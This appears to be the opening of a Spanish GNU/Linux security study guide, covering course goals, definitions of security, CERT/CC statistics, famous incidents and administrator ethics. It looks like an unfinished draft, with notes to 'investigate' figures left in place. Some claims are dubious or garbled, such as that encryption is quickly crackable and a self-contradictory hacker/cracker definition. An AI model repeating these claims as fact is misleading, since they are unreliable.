SEGURIDAD

DE SISTEMAS

GNU/LINUX

GUIA DE ESTUDIO HACIA UNA CAPACITACION SEGURA

FUNDACION
Código Libre Dominicano
Antonio Perpiñan

ADMINISTRACION DEL SISTEMA GNU/LINUX

GUIA DE AUTO ESTUDIO HACIA UNA CAPACITACION SEGURA

INTRODUCCIÓN

LOS PROPÓSITOS DEL CURSO

Los profesionales de la tecnología de la información (TI) son críticos hoy día para el ambiente de negocio. Adquirir las herramientas y conocimiento disponible en la tecnología de hoy es vital. GNU/Linux y el Código Libre han colocado un nuevo estándar en lo que es desarrollo e implementación de aplicaciones nuevas y personalizables. Sistemas Libres continúan ganando espacio de reconocimiento entre los profesionales y administradores del TI debido a su flexibilidad, estabilidad, y su poderosa funcionalidad. A medida que más empresas utilizan esta plataforma, crece la necesidad de soporte y planificación sobre la integración de GNU/Linux en infraestructuras nuevas y/o existentes. El rol del administrador es guiar la implementación y desarrollo de soluciones basadas en GNU/Linux. Su éxito o derrota dependerán de su conocimiento y experiencia de esta fantástica arquitectura.

Este curso es un repaso comprensivo de las características y funcionalidad de GNU/Linux, orientada a preparar al estudiante con las herramientas necesaria para convertirse en un profesional totalmente preparado para enfrentar los retos que deben conquistar los administradores. Explicación detallada se provee de los conceptos claves, muchos conceptos y utilidades de GNU/Linux son idénticos sin importar la distribución específica siendo utilizada. Algunas características están disponibles en algunas distribuciones, y otras son añadidas durante la instalación. La naturaleza de GNU/Linux y el Software Libre es tal, que cambios al fuente y cambio a funcionalidad de cualquier componente debe ser incluido en la distribución siguiente. Los conceptos sublime de las capacidades de GNU/Linux se mantienen consistentes a través de cada distribución, kernel y cambio de Software.

Estos libros han sido desarrollado de acuerdo con los estándares de la industria de certificación de GNU/Linux, los cuales ha la vez han derivados desde los estándares de Unix. Los objetivos de la certificación GNU han sido elementos claves en el desarrollo de este material. La secuencia de los exámenes de certificación GNU/Linux provee la gama más amplia de los conceptos necesarios para dominar GNU/Linux. Los objetivos de las certificaciones LPI y RHCE también son incluidos ya que todos están basados en las matrices del conocimiento de Unix.

Este libro provee los conceptos y principios fundamentales necesarios para administrar un sistema GNU/Linux. Los conceptos y las tareas de administración pueden ser un poco amplios. Se le dará una explicación del rol del administrador, estructura y función detallada del kernel, y cubriremos temas administrativos claves del manejo de paquetes, procesos, espacio de disco, resguardos ó Backups y los usuarios así como las tareas programáticas, y los Logs ó Registros del sistema. Este conjunto de herramientas te permitirán apropiadamente administrar un sistema GNU/Linux sea este de unos cuantos hasta miles de usuarios. Estos capítulos también te proveerán la información que necesitas para prepararte y si deseas certificarte.

Fundamentos de GNU/Linux proporciona una introducción a profundidad de los conceptos y de los principios que son necesarios para instalar un sistema GNU/Linux y desenvolverse en los ambientes de ventana del X y de la línea de comandos. Este manual da la dirección paso a paso para las distribuciones importantes de

GNU/Linux y su instalación, incluyendo CentOS, Fedora, Debian y Ubuntu. Se enfatizan los conceptos de instalación, las utilidades, y la funcionalidad de GNU/Linux común a todas las distribuciones y estas se explican en detalle adicional. Un principiante o un experto pueden aprender o repasar los conceptos de particionar discos y localizar los archivos de configuración, usando el shell y las consolas, crear los scripts, y editar archivos de texto que permanecen dominantes, sin importar la nuevas herramientas gráficas, para los ajustes de configuración. Este conjunto de temas permitirá que usted instale y configure correctamente un sistema GNU/Linux. En estos capítulos también se le provee la información necesaria para certificar sus habilidades en GNU/Linux.

METAS DEL CURSO

Este curso le proveerá con la información que necesitas para completar los siguientes temas:

- Describir que es Seguridad y cuales son sus Estándares.
- Elementos de Seguridad y sus Principios.
- Conceptos de Encriptación y sus Procesos.
- Llaves PGP y GPG.
- Autenticación, Envolturas TCP (Wrappers), FTP anónimo.
- Seguridad en archivos compartidos.
- Características de las amenazas de Troyanos, Gusanos, Virus y Crackers.
- Entornos de Usuarios y Listas de Acceso (ACL).
- El uso de su, sudo y los permisos SUID, GUID y el Sticky bit.
- Asegurar el sistema de archivos, aplicar parches al kernel y monitorear el sistema con los logs.
- Comunicaciones seguras y proteger los servicios TCP/IP.
- Vulnerabilidad de la Red, Firewalls, Proxies y VPNs.
- Detección de Intrusos y entradas forzadas.
- Software de detección de intrusos.
- Distracción como defensa

EJERCICIOS

Los ejercicios en este manual son diseñados para dar practicas reales en los ambientes de redes y aislados (stand-alone o networking) al usuario. Es altamente recomendado que usted complete todos los ejercicios en cada capítulo antes de continuar al próximo. Entendemos que en raros casos tal vez esto no sea conveniente cuando estudia fuera del taller. Si por alguna razón no puedes completar un ejercicio por circunstancias ajenas, debes planificar completarlo tan pronto sea posible.

Existirán ejercicios que no podrás completar por el limitante de equipo ó software. No permita que esto le impida completar los otros ejercicios que resten en el capítulo ó módulo.

TOME NOTA

Los ejercicios en este libro fueron diseñados para ser ejecutados en un equipo de prueba y nunca deben ser llevados a cabo en uno trabajando y donde se ejecuten aplicaciones importantes. Instalar GNU/Linux, reparticionar para instalar GNU/Linux, o practicando los ejercicios en una LAN u computador de trabajo puede causar problemas de configuración, lo cual puede conllevar a perdidas irreparable de data y dispositivos periféricos. Por favor siempre recuerde esta advertencia. Es preferible que dediques una estación de trabajo para practicar estos ejercicios. Instalar GNU/Linux en una situación dual-boot no es una alternativa razonable.

WEB

Una parte muy clave de esta serie de auto-aprendizaje es el portal de soporte. Las lecciones que le indiquen visitar la página web, a menudo, es para ayuda con los conceptos que son mejor entendidos después de una descripción visual. Los segmentos video Digital proporcionan una ilustración gráfica acompañada por una narración de los instructores. Estas lecciones son ideales, ambos como introducciones para afinar conceptos y para ayudar el refuerzo.

RECUERDE

Como herramienta de soporte les ofrecemos nuestra aulas virtuales con estos cursos y exámenes de prueba que puede tomar para medir sus habilidades, nuestra página web http://www.codigolibre.org y allí accesar hacia la sección Academia, estos contienen exámenes de prueba de las diferentes certificaciones, para las cuales este y los demás libros le preparan. Recreamos el escenario de las preguntas de selección múltiples, multi-selección y falso verdadero. Es muy importante que tome muchas horas de practicas antes de intentar pasar el Examen de certificación que le corresponda ya sea LPI, RHCT, RHCE, o uno de los nuestros GCST, GCSA, GCSE.

CAPITULO

1

SEGURIDAD

DEL SISTEMA OPERATIVO GNU/LINUX

DESCRIPCION Y ESTANDARES DE SEGURIDAD

OBJETIVOS:

Al completar este capítulo, usted podrá:

- Definir Seguridad
- Describir el criterio de evaluación de la Industria usado para seguridad, incluyendo confianza.
- Criterio de Evaluación de Sistemas Computacionales (TCSEC) y el criterio común (CC).
- La importancia de la seguridad del computador; especificar las vulnerabilidades claves para las redes, el Internet, y el personal que utiliza los computadores.
- Explicar la necesidad de implementar seguridad en la red.
- Identificar los recursos que necesita la seguridad.
- Clasificar las medidas de control de seguridad como físicas, técnicas o de proceso.
- Definir y describir los propósitos detrás de las éticas de seguridad, específicamente en el caso de un administrador de sistemas.
- Describir y listar los elementos claves del código de éticas GNU.
- Describir y listar los elementos claves de los códigos de ética (ISC).

Preguntas Pre-Examen

1. ¿Cuál es la definición de seguridad proveída por la Organización Internacional de Estandarización?
2. ¿Cuál es el primer paso que usted debería tomar en orden de alojar efectivamente los recursos de seguridad y reducir los riesgos en su Organización.
3. ¿Defina algunos métodos claves de emplear seguridad en un ambiente de red?
4. Los administradores de red los cuáles crean una pared de seguridad alrededor del perímetro de su red en contra de los ataques en Internet deben de sentirse seguros debido a su esfuerzo. ¿Qué más debería de hacer un administrador para monitorear su red con eficacia?

INTRODUCCION

Esta breve reseña para ver si podemos históricamente colocar el inicio de la ciencia de seguridad informática la encuentras en Internet y la coloco aquí para que nos sirva de punto de referencia. Robert Tappan Morris, un joven graduado de Harvard que estaba completando su formación en la Universidad de Cornell, comenzó a programar un gusano para demostrar las vulnerabilidades en el trabajo de su padre, Robert Morris, un ingeniero de Bell Labs, experto en UNIX y uno de los técnicos responsables del diseño de Internet y según algunos, especialista de la famosa e inexistente Agencia de Seguridad Nacional (NSA). También fue uno de los tres creadores de los famosos “Core Wars”. El famoso gusano que fue liberado en ARPANET (Advanced Research Projects Administration Network), nada menos que en el legendario MIT, cuna de los primeros hackers, y sería conocido desde entonces como el “Gusano de Internet”. El día 3 fue considerado como el “Jueves Negro”, usando la terminología reservada para los “crackers” bursátiles, porque el gusano se propagó con rapidez y eficacia extraordinaria.

Estos incidentes sensacionales son relacionados con las amenazas de seguridad asociadas con Internet y las redes. Los Crackers y los virus de computadores son tan comunes que hasta las fallas de las horas del sistema han sido asociadas a problemas particulares de Internet. La mayoría de las compañías de Internet han sido probadas como entes vulnerables. Por ejemplo, tanto amazon.com como yahoo.com (por mencionar algunas pero la lista es larga, Paypal, visa, los bancos, estados, etc) han sido victimas de ataques, e historias de incidentes tales como el legendario “Gusano de Internet” de Robert Morris en 1988.

Antes de continuar debemos diferenciar a los Hackers de los Crackers, aunque los medios se han resistidos a aclarar las diferencias entre ambos. Mientras que no todos los Hackers son Crackers, y pero si todos los Crackers son maliciosos, pero ningún hacker lo es, esta es una generalización que es hecha dentro de los medios de información por falta de entendimiento de la diferencia entre estos dos individuos.

Ahora que las comunidades de negocios han abrazado el comercio por Internet, la comunicación y colaboración, la integridad de información sensible y lineas de comunicación se han vuelto muy importantes. Internet esta disponible para cualquier persona con una conexión de red y una cuenta con un Proveedor de Servicios de Internet (ISP). Este fue diseñado para ser una red abierta y, por lo tanto tiene una muy pequeña capacidad de aseguramiento de la información que comparte. Desde un punto de vista de seguridad, Internet es inherentemente insegura. Aunque, las compañías e individuos desean aplicar principios de seguridad a Internet, usando una manera la cual sus inventores no diseñaron. Para los usuarios de Internet su nuevo reto es proteger los datos sensibles (importantes) mientras se les permite al personal autorizado usarlo.

Este libro lo introducirá a informaciones de principios de seguridad y les enseñará como proteger su sistema de accesos no autorizados, utilizando la última tecnología disponible.

¿Qué es Seguridad?

Puesto simple, la seguridad en un ambiente de red es la habilidad de identificar y eliminar vulnerabilidades. Una definición general de seguridad debe también poner atención a la necesidad de salvaguardar la ventaja organizacional, incluyendo información e equipos físicos, tales como los mismos computadores. Nadie a cargo de seguridad debe determinar quien y cuando se puede tomar acciones apropiadas sobre un ítem en específico. Cuando se trata de la seguridad de una compañía, lo que es apropiado varía de organización a organización. Independientemente, cualquier compañía con una red debe de tener una política de seguridad que se dirija a conveniencia y coordinación.

Aquí se discutirá la seguridad y como esta es relacionada a Internet y el denominado Internet-working. Con la llegada de las tecnologías sofisticadas como las redes de área local, redes de Area Amplia, Internet y las Redes Privadas Virtuales (VPN), la idea y práctica de seguridad se ha vuelto más compleja que simplemente patrullar el perímetro de la red. Tomando en cuenta las redes, se puede definir la seguridad como "Un proceso continuo en el cual un administrador asegura que la información es compartida solo entre los usuarios autorizados".

Al final de este libro, usted estará familiarizado con el proceso y las tecnologías utilizadas para estabilizar y limitar el comportamiento que su organización considere apropiado. Usted se enfocará en los aspectos de seguridad que se relacionan con la conexión de su organización a Internet. La conectividad de Internet hace extremadamente fácil que un usuario desconocido se conecte a recursos que se encuentren expuestos. Usted necesita asegurarse de que solo pueden accesar aquellos que usted a programado. Este libro explorará los métodos de controlar el acceso a los usuarios y Crackers, como también responder a los eventos y minimizar el daño cuando alguien engaña esos controles.

Los siguientes temas serán discutidos en esta sección:

- Definición de Seguridad
- La Seguridad en el Internet Hoy

Definición de Seguridad

Antes de examinar los detalles de seguridad, necesitamos establecer una definición de lo que significa este término en el contexto. Comenzaremos con una definición dada por la Organización Internacional de Estandarización (ISO). Un documento ISO (ISO 7498-2), define seguridad como un medio de reducir, en lo más posible, las vulnerabilidades de los datos y recursos. (Usualmente esto se refiere a Equipos/Redes de datos y Aplicaciones. También esta asociado con algunos niveles de valores monetarios.)

La ISO también define un activo, el cual es otro término para el dato, como una aplicación y recurso que existe en cualquier sistema computacional. Las vulnerabilidades descritas por ISO pueden ser cualquier cosa que le permita a alguien ganar acceso a ese activo. Usualmente, una vulnerabilidad es algún tipo de debilidad en el sistema, un aspecto pasado por alto en la configuración del sistema y proceso. Una amenaza es cualquier acción que comprometa la seguridad del sistema.

La Seguridad en Internet de Hoy

Los recursos actuales del Internet disponibles a los individuos, empresas y organizaciones permiten el intercambio de información. Sin embargo, el almacenamiento extenso y la transferencia de información crea una oportunidad para brechas de seguridad hasta en el sistema más seguro. Es importante reconocer la fuente de amenaza y tomar medidas preventivas.

Por que es Importante la Seguridad?

El número de empresas e individuos que utilizan Internet crece cada día. Como el número de usuarios se expande, así mismo aumenta el número potencial de víctimas como objetivos y Crackers. La seguridad debe de incrementarse para proteger a los usuarios de Internet de aquellos que pueden robar información confidencial.

Para el propósito de este libro, siempre será de suma importancia definir los términos de Hackers y Crackers. Esta definición esta constantemente en discusión; la mayoría de las definiciones existentes intentan definir los roles de un Hacker y de un Cracker, pero es importante recordar que el Cracker es quien representa

una amenaza para la seguridad de Internet..

- Un Hacker es un programador excepcional, el cual maximiza los recursos del computador.
- Un Cracker es un individuo el cual ingresa a los sistemas en los que no esta autorizado.

La Seguridad en General

La seguridad debe de ser una preocupación en cada situación. Si una persona esta pagando por una cena con una tarjeta de crédito o trabajando como una consejero financiero para inversión en la bolsa de valores, la seguridad será un tema. Para comprender completamente la necesidad de seguridad, considere las diferentes maneras en las que juega una parte importante en la vida diaria. Cerraduras en las puertas, ID de imagen, cámaras de seguridad, límites de velocidad y los seguros son algunos de las diferentes formas de a asegurar la privacidad individual.

La Seguridad en Internet

La magnitud del Internet crea oportunidades para que este sea mal utilizado. Muchas compañías en línea han reportado el robo de número de tarjetas de créditos vía Internet. Recuerdo haber leído este caso famoso en Internet, que creo que es bueno para ilustrar:
“un cracker que intento presionar con amenazas a una tienda de CD en línea por US$100,000.00. El demandaba que había robado 300,000 números de tarjetas de crédito de la compañía y al menos de que sus necesidades fueran satisfechas el las publicaría en el Internet. La compañía rechazo la demanda del cracker y clamo por ayuda al FBI. El cracker publico 25,000 números antes de que fuera detenido, y el ha amenazado con publicar el resto de números de tarjetas de crédito en el futuro.” (Nota investigar como terminó el asunto)

Los bancos han continuando moviendo la mayoría de sus negocios a Internet. Servicios en línea, denominados como Internet-Banking, tales como información de la cuenta, verificación en línea y pagos directos, hacen que los bancos y sus clientes sean blancos para los crackers.

Las Agencias de Gobierno confían cada vez más en Internet para sincronizar esfuerzos. Agencias tales como NASA, FBI, CIA y NSA están usando Internet para enviar, almacenar y procesar información. La información que ellos poseen (ejemplo medicina, financiera y récords de criminales) son blancos potenciales para los crackers.

Internet es un sistema vasto de información con grados variantes de confidencialidad; esta invita a la actividad criminal por el anonimato que ofrece. Actualmente, legisladores a través del globo están desarrollando leyes para gobernar el ciberespacio. El Gobierno de los Estados Unidos de América (USA) esta incrementando el monto de recursos delegado para ser dirigido al crimen en Internet. A pesar de estas medidas, el crimen en Internet continúa creciendo; es importante que la seguridad sea una consideración necesaria por cada usuario.

Seguridad Física

La seguridad física es un aspecto fácilmente pasado por alto en la seguridad que concierne a Internet. A menudo, la seguridad en Internet es asociada con los corta fuegos, enmascaramiento de IP y otros métodos electrónicos de protección. Aunque todos esos aspectos son importantes en la seguridad de Internet, como también es importante asegurar también los equipos físicamente.

La seguridad física debe de comenzar con una revisión de las facilidades donde un sistema computacional es alojado. Examinar la fuerza de las puertas, cerraduras y ventanas. Estimando la dificultad de entradas forzadas en el edificio y las oportunidades de ser capturados. Están los sistemas de alarma en su lugar, y si es así, ¿qué

tan efectivas son? ¿Esta el edificio cerrado y asegurado cuando el último empleado se va de la empresa? Esas son las primeras preguntas que deben ser respondidas.

Sin embargo, la seguridad física no detiene un robo. Es importante tener medidas de seguridad en contra de actos naturales. Protectores de oleadas son un ejemplo de tales medidas, pero la protección para los impactos de rayos al azar no es suficiente. ¿Cuáles tipos de dispositivos de detección están siendo usados? Si el edificio queda atrapado en un fuego, ¿será el departamento de bomberos avisados inmediatamente? están los recursos valiosos mantenidos en una habitación en contra de fuego o asegurada con cerraduras? Puede el edificio soportar una tormenta o ciclón fuerte? Existen riesgos de árboles soplando sobre el edificio? Estas preguntas parecen triviales, pero considerándolas se pueden prevenir complicaciones futuras. Esta área de seguridad es a menudo llamada Planificación de la Recuperación del Desastre y exige un nivel de detalles que están más allá del alcance de este libro. Un completo Plan de Recuperación de Desastres (DRP), mientras debajo de la sombrilla de la seguridad, debe de incluir pruebas de emergencias locales para responder a la eficacia y capacidad, medios de backup, almacenamiento y transporte, así como un plan de contingencia para los costos, responsabilidades familiares, posibles oportunidades de fraude y temas legales asociados con posibles desastres.

Es también importante recordar que un cracker puede ocasionalmente ganar acceso físico a su información sin ni siquiera accesar al edificio donde esta almacenada. Asegurarse de que las lineas telefónicas son seguras y que no hay manera de que estas sean abiertas o de fácil acceso.

Seguridad en el Lugar de Trabajo

Los agujeros de seguridad pueden también ocurrir por detalles pasados por alto en el lugar de trabajo. Un empleado con acceso a root puede ser tentado a crear un usuario para un cracker en el exterior. Las contraseñas son escritas en papel para una fácil referencia. Información importante es tirada a los zafacones sin ser triturada. Aunque esas brechas parecen ser menores, ellas presentan un amenaza real para la seguridad y son a menudo usadas por los crackers para ganar entrada dentro del sistema. Los cracker son conocidos como hurgadores en basura, donde ellos literalmente buscan en los zafacones de las empresas por códigos de acceso o contraseñas.

Los crackers no son las únicas amenazas para la seguridad. Empleados inconformes pueden causar una cantidad de daño similar, destruyendo todas o algunas de las bases de datos de las redes de la compañía. Es vital de que sean tomadas precauciones para proteger apropiadamente información confidencial.

La Seguridad Personal

La seguridad en el trabajo comienza en los niveles más básicos, los trabajadores. Cuando se contrata un nuevo empleado, las referencias pueden ser requeridas y verificadas. Es también importante verificar el pasado de los empleados. Después de que la decisión de contratar un empleado es hecha, este debe de ser entrenado e informado de las medidas de seguridad que serán tomadas, incluyendo triturado de toda la información, frecuentemente cambiando y eligiendo la contraseña apropiada y la encriptación de email.

Otra manera de garantizar las seguridad personal es monitorear a los empleados cuidadosamente. El grado de como una compañía debe monitorear un empleado ha sido actualmente traído ante las cortes con personas que demandan por violaciones de a su privacidad. Es importante respetar los derechos de los empleados mientras se les este monitoreando.

Las evaluaciones a los empleados pueden también incrementar las seguridad personal. Estas ayudan al empleado y al empleador tener un mejor entendimiento de cada uno. Una evaluación efectiva mostrará la

calidad actual del trabajo de los empleados para el empleador, e indicará lo que es esperado por el empleado.

Finalmente, es importante mantener la seguridad personal si un empleado sale de la empresa. Sin importar si la salida es forzada o voluntaria, pasos deben de ser tomados inmediatamente para prevenir cualquier amenaza. Cualquier contraseña a la cual ese empleado tuvo acceso debe de ser cambiada, y la cuenta del empleado debe de ser cerrada. Las medidas preventivas reducirá el riesgo de amenazas de seguridad.

Estadística sobre Amenazas Comunes (OJO OJO Investigar cifras actuales)

El Equipo de Respuestas a Emergencias Computacionales/Centro de Coordinación (CERT/CC) es un equipo nacional de respuestas computacionales que direcciona y almacena un récord de los temas de seguridad para los usuarios de Internet. CERT/CC publica una lista corta de estadísticas que tratan con la seguridad de los computadores. En 1990, 252 incidentes de agujeros de seguridad fueron reportados; en 1999, 9,859 incidentes fueron reportados. En 1995, 171 vulnerabilidades descubiertas fueron reportadas; 1999 el número a crecido a 417. El monto total de vulnerabilidades conocidas reportadas a CERT/CC a este momento era de 17,946. Esto no incluye los descubrimientos que no ha sido reportados o las incontables vulnerabilidades que todavía no han sido encontradas.

Año	Total Vulnerabilidades Categorizadas	Reportes Directos
2008(Q1-Q3)	6,058	310
2007	7,236	357
2006	8,064	345
2005	5,990	213
2004	3,780	170
2003	3,784	191
2002	4,129	343
2001	2,437	153

Casos Famosos de Seguridad

La información conocida sobre los crackers es escasa y raramente confiable. Sin embargo, han habido casos en los cuales famosos crackers han sido capturados por el gobierno de los Estado Unidos. Esto ha proveído información sobre lo amplias que son sus capacidades.

En 1988, Robert Morris, un estudiante graduado de Cornell, lanzo un gusano el cual lo convertiría en el caso de crackers más famosos en la historia. El gusano de Morris infecto más de 6,000 computadores en un período de 24 horas. El gusano accedía los computadores y ejecutaba una pequeña tarea en el background, luego accesaba el programa de email y se descargaba el mismo hacia otros computadores. Sin embargo, debido al un error de programación, algunos computadores fueron infectados con cientos de copias del programa gusano y eventualmente se inhibía (frizaba). El gusano de Morris demostró las vulnerabilidades de seguridad del Internet en ese tiempo. Una vez informados del problema, los profesor en ciencias computacionales de varias universidades trataron la crisis, y un parche fue lanzado en dos días. Robert Morris se convirtió en el primer convicto en Acto de Abuso y Fraude Computacional Federal; el fue sentenciado a varios años de libertad condicional y una multa de US$10,000.00.

En 1982, un grupo de crackers que se hacían llamar los 414 trataban de tener acceso al sistema computacional del Laboratorio Nacional Los Álamos (LANL). LANL es conocido por sus investigaciones en la

construcción de bombas atómicas. Los 414 estuvieron cerca de 9 días crackiando, accesando brutalmente en los sistemas Militares del Gobierno, pero fueron eventualmente atrapados por la policía.

Problemas Potenciales de Seguridad en un Futuro

Como fue planteado anteriormente, la oportunidad para el crimen en Internet esta creciendo al mismo tiempo que el Internet. La necesidad de seguridad en el futuro será mucho mejor que ahora. Esperanzadamente por ellos, la mayoría de las precauciones de seguridad básicas serán de segunda naturaleza. Por ejemplo, en el futuro, es posible que todos los e-mails y las transferencia electrónica sean hecha automáticamente con encriptación. También es posible que el acceso al computador y a los sistemas del computador requiera escaneo de retina o reconocimiento de voz en vez de una contraseña.

Sin embargo, aunque esas medidas sean tomadas, nuevas maneras serán desarrolladas para evadirlas. Los patrones de retina pueden ser reproducidos digitalmente, y la encriptación es rápidamente fácil de crackear debido a la alta velocidad de los procesadores actuales. No hay manera garantizada de conocer como será el futuro; lo que es garantizado es que la seguridad siempre será un tema.

Fracaso de la Seguridad

La tecnologia de Seguridad del Internet avanza constantemente. A medida que más individuos, compañías y organizaciones comienzan a conducir sus negocios en línea, la demanda de seguridad se incrementa. Sin embargo, cada vez que un problema es arreglado, es posible que se haya creado otra vulnerabilidad.

Seguridad como un Proceso en Curso

La seguridad siempre será un proceso en curso. La seguridad es parecida a estar en salud, no porque estamos en salud podemos entonces descuidar nuestro comportamiento de dietas, ejercicios, etc, es importante nunca parar de cuidar nuestra salud y se nos descuidamos lo suficiente la nuestra salud se derrumba.

Siempre hay que estar verificando los agujeros de seguridad. Monitoreando sitios como CERT/CC ayudará con este proceso. Ingresar a una lista de servicios con problemas de seguridad y mantenerse actualizado con la tecnologia, siempre continuando con su educación.

La Seguridad nunca es 100%

No hay manera de estar completamente seguro. Crackers habilidosos pueden ganar entrada a un sistema seguro sin dejar rastros. En las Agencias de Gobierno, como la CIA y el FBI, se han encontrado con brechas de seguridad, desafiando sus recursos casi ilimitados y habilidades, así que imagínese un pequeña empresa de ventas por Internet. Últimamente, la CIA y el FBI han sido considerados como fuera de los límites de los Crackers, pero esto es principalmente por la habilidad de estos de atrapar a los Crackers, no por que estos pueden prevenir un ataque o que uno accese a su sistema ilegalmente. Hay un famoso de dicho que la banca invierte en perseguir un intruso 1000 veces lo que este le causo en daños.

Soluciones Para un Mundo Inseguro

¿ Qué deberá hacer un usuario para protegerse? Existen varios métodos de planificación de seguridad. Proteger un sistema de un ataque interno como externo con el uso de encriptación para enviar emails o FTP. El cambio de contraseñas regularmente y que nunca sean escritas en papel. Configurar Firewalls para proteger las redes. Configurar programas como “Tripwire” para enviar una alerta si una persona no autorizada ha ganado acceso. Monitorear páginas de seguridad como CERT/CC, ubicada en http://www.cert.org para informaciones sobre la últimas vulnerabilidades de seguridad y los sellos (parches) para esos agujeros. No dar la contraseña de

root al menos que sea absolutamente necesario y luego cambiarla o asegurar un mejor método de delegar la tarea. Realizar backups en un horario regular y mantener las cintas de backup y CD en un lugar seguro. Poner buenas cerraduras en las puertas.

No hay manera de estar completamente seguro; es solo posible tomar precauciones a través del aprendizaje y atendiendo las vulnerabilidades de su sistema o red y creando políticas de backup para minimizar los efectos de una brecha de seguridad.

La Ética en la Era de la Información

El rol en crecimiento de las computadoras en nuestra sociedad no solo ha mejorado la eficiencia de los negocios y el intercambio, paro también ha incrementado el poder del consumidor. Las computadoras proveen un nuevo y vasto campo donde las reglas de conducta pueden no ser intuitivas como aquellas proveídas fuera de la red. Este nuevo país es comúnmente referido como ciberespacio, un mundo virtual mantenido por los datos y su transporte. Dentro de este mundo el anonimato impera. Sin embargo, el juicio en el ciberespacio puede ser basado en un valor aplicado a los datos y a su transporte. Similar a la legalidad de ciertas acciones, el comportamiento ético es requerido en el ciberespacio y puede ser implementado de varias maneras. Muchas situaciones han surgido desde la popularidad de las computadoras en Internet, incluyendo tales temas como privacidad, seguridad y legalidad. Mientras esta sección no cubrirá todos esos temas a profundidad, intentaremos construir una fundación de principios, así un administrador de sistemas puede tomar decisiones sabias.

En esta sección, discutiremos los siguientes temas:

- Definición de Ética
- Ética para los Administradores de Sistemas
- La Éticas del Código del GNU
- Código de Éticas (ISC_2)

Definición de Éticas

El tema de como la ética aplica al uso del computador se dirige a lo de siempre en esencia, que es bueno y que es malo. Sabemos que esto puede cambiar con la implementación de una nueva tecnologia. El ciberespacio y la era tecnológica traen una multitud de nuevos dilemas de ética. Un ejemplo de esto puede comprometer o desacreditar una compañía. Si el usuario y el administrador están al tanto de las misma reglas, solo un mal entendido de esas reglas permitiría un error en juicio. Reglas de códigos de comportamiento de compañías simplemente desean establecer un sistema de conductas en el cual los empleados basen sus decisiones; sin estas reglas, sin embargo, un usuario o un administrador de sistemas no puede saber exactamente como actuar en una situación en especifica. Ese código de conducta o política varía a menudo de una compañía a otra aunque puede ser que compartan ideas fundamentales. Las reglas éticas internas de las compañías a menudo son basadas primariamente en el interés de esa parte, donde cualquier daño estructurar ha esa compañía debe ser evitado.

Restricciones tales como legalidad y relatividad cultural a menudo determinan como es la función de una sociedad en los ojos de otra. Las reglas éticas continúan desarrollándose continuamente. Las diferencias entre sociedades de valores éticos no significa que una sociedad es mejor que otra. Algunas metas a menudo están todavía siendo alcanzadas, y estas son alcanzadas en diferente maneras.

Aristóteles explico la ética desde su punto de vista como un conjunto de reglas por las que una vida virtuosa puede ser guiada. En su opinión, una vida ética debe de ser guiada conscientemente, siendo informado de todas

las maneras relevantes y prestando atención a todas las decisiones subsecuentes. Esta definición rudimentaria de ética puede también abarcar el desarrollo de la tecnologia y sus efectos. Si la sociedad deseara usar las computadoras éticamente, esta debe de tomar una decisión consciente para hacerlo. Por ejemplo, si un administrador de sistema no hace nada para proteger el sistema y desafortunadamente pasa algo en el sistema, esto no significa que el administrador no ha actuado éticamente. Sin embargo, si un administrador esta al tanto de agujeros de seguridad en el sistema, y tiene la solución actual para solucionarlos, y ocurre un problema, este administrador si esta cometiendo faltas de ética. Para actuar con ética se requiere motivación consciente y también requiere un individuo que actué basado en la información disponible. Los administradores de sistemas actúan éticamente cuando siguen un código que ha sido determinado para guiarlos a la dirección más benéfica hacia la empresa que le devenga un sueldo por sus servicios. Si el administrador tiene conocimiento del resultado de alguna acción y este varía par aun código determinado, se puede considerar como un acto no ético.

Los administradores deben de estar dispuestos a incorporar pautas éticas en sus labores administrativas y agregar las pautas documentadas, experimentadas y mejor conocidas. Si esto es hecho, cuando ellos se encuentren en posición de hacer un juicio específico, la mejor decisión puede ser hecha. Para reiterar, esta es la motivación y la implementación de este administrador sobre el sistema se define como un trabajo realizado éticamente.

¿Las éticas se Aplican?

Internet ha levantado preocupación sobre la importancia y respeto de propiedades de Patente, Registro y Marcas. Internet provee un medio en el cual el uso de estas propiedades se confunden en una práctica de uso común. Un simple click del mouse puede a menudo resultar en una violación de la ley o estatutos establecidos. Otro tema éticamente cuestionable descansa en el área entre trabajo y placer. En muchos ambientes profesionales, los empleados verifican los emails y otras tareas personales. Pocos consideran esto no ético ya que están usando el tiempo de la empresa. ¿Seria ético para una compañía prohibir esto?

La razón por la motivación de la compañía deben ser examinadas, si la decisión fuera basada en mejorar la productividad y quizás proponer un tiempo en el cual los empleados puedan verificar los e-mails personales, así como los coffee breaks, para así desarrollar individuos productivos con mejor rendimiento. Las decisiones como estas deben de ser soportadas en un código aceptado, sin importar cual pueda ser la decisión, pero con la noción que el administrador debe no solo hacer cumplir las reglas de comportamiento establecidos, sino el también seguirlos.

Eticas para los Administradores de Sistemas

No sólo debe un Administrador de Sistemas estar preparado para tomar decisiones para minimizar que los sistemas estén fuera de servicio, los administradores deben ademas tener las herramientas necesarias para tomar un decisión aceptada. Este manual apunta a preparar a un administrador de sistemas para aproximar situaciones cuestionables con confianza y conocimiento basado en informaciones circunstanciales relevantes. Con la posición de un administrador de sistemas viene el reto de la toma de decisiones. Los efectos de una decisión pobremente tomada puede ser costoso y puede envolver repercusiones que no han sido previstas. Los administradores de sistemas deben de hacerlo en su labor para emplear razones cuando son confrontados con decisiones difíciles. A menudo, uno puede no tener los conocimientos para solucionar una incompatibilidad de un equipo y otro, pero cuando se presenta con poder perder la información de un empleado, la exactitud de la decisión es crucial. Un administrador de sistemas típico realiza una variedad de tareas importantes, las cuales comúnmente caerían en una de las siguientes categorías:

- Instalar y configurar Sistemas Operativos

- Administrar cuentas de usuarios y permisos
- Hacer cumplir y aplicar las políticas de seguridad
- Implementar la estrategia de sistemas de backup
- Cotizar y comprar sistemas y otros recursos físicos
- Optimizar los recursos del sistema
- Solucionar problemas.

Dentro de todas estas tareas, un administrador será confrontado con varios dilemas, entre ellos éticos. Este tema será examinado en más detalle en la sección de “Solución de Problemas”. Las reglas de la empresa debes incluir una solución propuesta para decisiones tomadas en diferente situaciones relativas, y señalar factores que son indiscutibles. Hacer cumplir un código proveerá la base del conocimiento, pero estas políticas deben ser suficientemente flexible para abarcar todos los casos posibles. Donde pueda ser imposible construir una respuesta apropiada para cada instancia, los administradores que diseñan el código para ser aprobado por todos los usuarios minimizará la complejidad de encontrar respuestas que se apeguen al comportamiento ético. Estas reglas deben de ser un conjunto de pautas que el administrador de sistemas pueda hacer cumplir responsablemente. Esas labores requieren una decisión ética en orden de ser realizadas apropiadamente con respecto a los usuarios a al sistema computacional.

Control de Información

